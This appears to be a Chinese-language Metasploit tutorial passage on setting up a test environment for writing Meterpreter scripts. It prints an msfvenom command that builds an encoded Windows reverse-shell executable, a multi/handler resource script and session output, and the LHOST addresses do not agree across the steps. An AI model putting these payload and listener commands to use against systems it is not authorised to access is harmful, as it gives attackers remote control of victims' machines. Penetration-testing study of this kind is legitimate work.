创建新的meterpreter脚本时,需要记住一些事项。
- 并非所有版本的Windows都是相同的
- 某些版本的Windows对某些命令有安全对策
- 并非所有的命令行工具都在Windows的所有版本中
- 某些命令行工具开关因Windows的版本而异
简而言之,与使用标准开采方法相同的约束条件。MSF可以提供很大帮助,但无法改变该目标的基本面。牢记这一点可以节省很多挫折。因此,请记住目标的Windows版本和服务包,然后进行构建。
出于我们的目的,我们将创建一个将在目标系统上运行的独立二进制文件,该文件将为我们创建一个反向的Meterpreter shell。当我们通过我们的脚本开发工作时,这将排除任何利用漏洞的问题。
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
Saved as: Meterpreter.exe
是不是很精彩?现在,我们将可执行文件移动到我们的Windows机器上,该机器将成为我们将要编写的脚本的目标。我们只需要建立我们的侦听。为此,我们创建一个简短的脚本来为我们启动multi-handler。
root@kali:~# touch meterpreter.rc
root@kali:~# echo use exploit/multi/handler >> meterpreter.rc
root@kali:~# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc
root@kali:~# echo set LHOST 192.168.1.184 >> meterpreter.rc
root@kali:~# echo set ExitOnSession false >> meterpreter.rc
root@kali:~# echo exploit -j -z >> meterpreter.rc
root@kali:~# cat meterpreter.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z
在这里,我们使用exploit/multi/handler程序来接收我们的有效载荷,我们指定有效载荷是Meterpreter/reverse_tcp有效载荷,我们设置有效载荷选项,我们确保multi-handler一旦收到会话就不会退出,因为我们可能需要由于错误而重新建立一个,或者我们可能会在不同目标主机的不同版本的Windows下进行测试。
在处理脚本时,我们会将测试脚本保存到/ usr / share / metasploit-framework / scripts / meterpreter,以便它们可以运行。
现在,剩下的就是用我们的资源脚本启动msfconsole。
root@kali:~# msfconsole -r meterpreter.rc
=[ metasploit v4.8.2-2014021901 [core:4.8 api:1.0] ]
+ -- --=[ 1265 exploits - 695 auxiliary - 202 post ]
+ -- --=[ 330 payloads - 32 encoders - 8 nops ]
resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 192.168.1.184
LHOST => 192.168.1.184
resource> set ExitOnSession false
ExitOnSession => false
resource> exploit -j -z
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
从上面可以看出,Metasploit正在监听连接。我们现在可以在Windows主机上执行我们的可执行文件,我们将收到一个会话。一旦会话建立,我们使用sessions命令和-i开关以及会话的号码与会话进行交互:
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.104:1043)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >